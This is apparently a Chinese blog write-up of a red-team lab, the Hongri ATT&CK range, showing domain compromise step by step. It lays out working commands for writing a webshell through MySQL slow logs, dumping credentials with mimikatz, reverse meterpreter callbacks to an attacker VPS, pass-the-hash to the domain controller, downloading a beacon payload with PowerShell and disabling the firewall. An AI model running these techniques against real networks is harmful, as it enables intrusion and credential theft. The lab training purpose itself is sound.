前言:
在最近一年的工作中,很少能接触到内网渗透的工作,为了进一步锻炼内网渗透的能力,理清内网渗透中的思路及攻击手法,笔者打算对国内外的优秀内网靶场进行模拟实战训练,记录自己的思路以及不足处,本篇将记录对红日ATT&CK系列靶场实战渗透过程。
环境配置:
- 腾讯云主机:81.x.x.x(攻击机)、192.168.54.129(Kali攻击机)
- win7(VM1):192.168.54.128(模拟外网web服务器,可出网),192.168.52.143(NAT网卡,VMnet 1网卡)
- windows server 2003(VM2):192.168.52.141,模拟内网域成员主机(VMnet 1,不出网)
- windows server 2008(VM3):192.168.52.138,模拟内网域控主机(VMnet 1,不出网)

拓扑图如下:

VM1、VM2、VM3在同一内网中,VM1 web服务开放在外网,只能通过拿下VM1后将其作为跳板进行横向渗透,拿下win2008和win2003服务器。如果想通过物理机进行渗透的话,需要将VMnet8网卡禁用。清楚自己的目的后,就可以打开win7中的phpstudy,开放web服务和mysql服务,然后就可以愉快地玩耍了。
信息收集:
端口扫描情况:

目录扫描结果:

目前已有信息:
- mysql不允许外连
- beifen.rar为源码备份压缩包,可以选择搭建环境配合代码审计挖掘漏洞
- phpinfo泄露
- 存在数据库管理工具phpmyadmin,可以通过爆破进后台或者查找历史漏洞
无论是爆破还是代码审计都有拿shell的机会,按照先易后难以及时间耗费尽可能少的原则,优先选择phpmyadmin爆破以及查找历史漏洞的方式
phpmyadmin版本为3.5.8.2,查了查似乎不存在历史漏洞,那么就只能从爆破入手了:

通过之前泄露的phpinfo页面知道了web服务器的绝对路径C:/phpStudy/WWW
,那么登录进入后先通过慢日志查询写入webshell:
set global slow_query_log=1; # 启用慢查询日志(默认禁用)
set global slow_query_log_file='C://phpStudy//WWW//slow_log.php';
select @@long_query_time; # 慢查询时间值
select '<?php @eval($_POST[pass]);?>' or sleep(11);
成功拿到webshell:

whoami
ipconfig /all
wmic qfe GET hotfixid
tasklist /svc
ping www.baidu.com
net view /domain # 查看当前网络域环境,查询有几个域
net view # 查询同域机器
net user /domain # 查询域用户列表
net group "Domain controllers" /domain # 查询域控制器
net group "domain admins" /domain # 查看域管理员

在cs中执行net view
,查看当前域中的计算机列表:

- 存在域god.org,域控主机为owa.god.org(192.168.52.138)
- 当前用户为域管用户
- 域内有三个用户:Administrator、ligang、liukaifeng01
- 不存在杀软
- 可出网,没有限制
- 补丁较少
基于以上情况,决定进行提权操作,然后拿到明文密码或者NTLM,然后通过WMI、PTH、PTT或者白银票据拿下域控,先上线CS瞅瞅
目标环境存在python,这里使用python反弹shell,然后上线CS利用SweetPotato提权:

加载mimikatz获取NTLM哈希和明文密码:

然后需要确定当前主机能通哪些网段,确定域内存活主机,做进一步信息收集工作,同时要做好权限维持工作:
通过自身网卡IP段,路由表,本地连接信息,arp缓存,本地host文件,以及浏览器历史记录等确定可通IP段
ipconfig /all
netstat -ant
route print
arp -a
查看是否开放远程桌面,若无则利用msf开启,并查看远程桌面端口:
# 查看TermService服务
tasklist /svc | find "Ter"
run post/windows/manage/enable_rdp
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber

利用frp穿透工具连接内网主机的rdp:

成功登录远程桌面:

确定有哪些内网IP后尝试使用Goby进行资产识别(漏洞扫描速度很慢,会漏报一些漏洞,不建议扫描整个C段):

刚好最近TideFinger更新了,试试效果咋样:

因为拿下的win7存在双网卡,为了尽可能多的获取主机权限,考虑到CS的后渗透模块较少,选择将CS会话传递到MSF:
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.54.129
set lport 4488
然后在 CS上先创建一个 Foreign HTTP 监听,之后在 CS 上右击待传递的会话选择 Spawn ,选择刚刚创建的 Foreign HTTP 监听

由于MSF和CS部署在同一台VPS上,不方便直接利用会话传递,这里我选择通过exploit/multi/script/web_delivery
模块获得一个Meterpreter:
use exploit/multi/script/web_delivery
set payload python/meterpreter/reverse_tcp
set target 0
set lhost 81.x.x.x
run

遇到的问题:python2需要在高版本运行,python3正常上线
获取内网网段信息,并添加一条通向192.168.52.0/24内网的路由:
run get_local_subnets
run autoroute -s 192.168.52.0/24

利用scaninfo进行快速扫描:
scaninfo_windows_x64.exe -t1000 -i 192.168.52.138

确定域控主机有开放WMI和SMB,直接利用wmiexec执行系统命令:
ladon.exe wmiexec2 192.168.52.138 GOD\administrator pass123 cmd ipconfig

在域环境中,域管理员组内用户可以利用hash传递上线MSF:
exploit/windows/smb/psexec
set rhosts 192.168.52.138
set SMBDomain GOD
set SMBUser administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:6703dac9a915xxxxxxxxxxxxxxxxxxxx
run

或者利用以下模块:
exploit/windows/smb/psexec_psh
获取到system权限的meterpreter ,这里直接使用hashdump
会报错,可能是因为该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,然后再使用如下命令获取所有域用户的Hash:
hashdump
# 或者
run post/windows/gather/smart_hashdump

加载kiwi获取明文凭证:
load kiwi
creds_all
或者我们也可以通过wmiexec.py获取一个shell,由于域控不出网,这里通过被控主机WIN7作为中转站进行转发上线CS:


生成EXE并上传到win7的web服务器的根目录下,然后通过powershell进行下载:
powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.52.143/beacon.exe','evil.exe')
结果运行报错。。。。尴尬。后面想利用goproxy http代理上线CS,明明受控主机监听的地址为0.0.0.0,可死活无法访问,用nmap扫描发现并没有开放,我这才想到可能是防火墙策略的原因,开启了阻止所有与未在允许程序列表中的程序的连接,也就是设置了白名单,难怪我CS上线域控失败。:

关闭防火墙:netsh advfirewall set allprofiles state off
,重新进行转发上线:

遇到的问题:
- 使用python反弹shell后无法切换目录
- 在蚁剑的虚拟终端执行powershell上线CS失败
- 利用msf反弹psh后,长时间不执行系统命令后shell就断了
- 使用蚁剑上传大文件时会超时,需要修改超时时间
- 利用Invoke-Mimikatz.ps1获取hash报错:
PowerShell architecture (32bit/64bit) doesn't match OS architecture. 64bit PS must be used on a 64bit OS
后续计划:
下一个红日靶场实战
在win7安装360等安全防护软件的情况下进行内网渗透
网友评论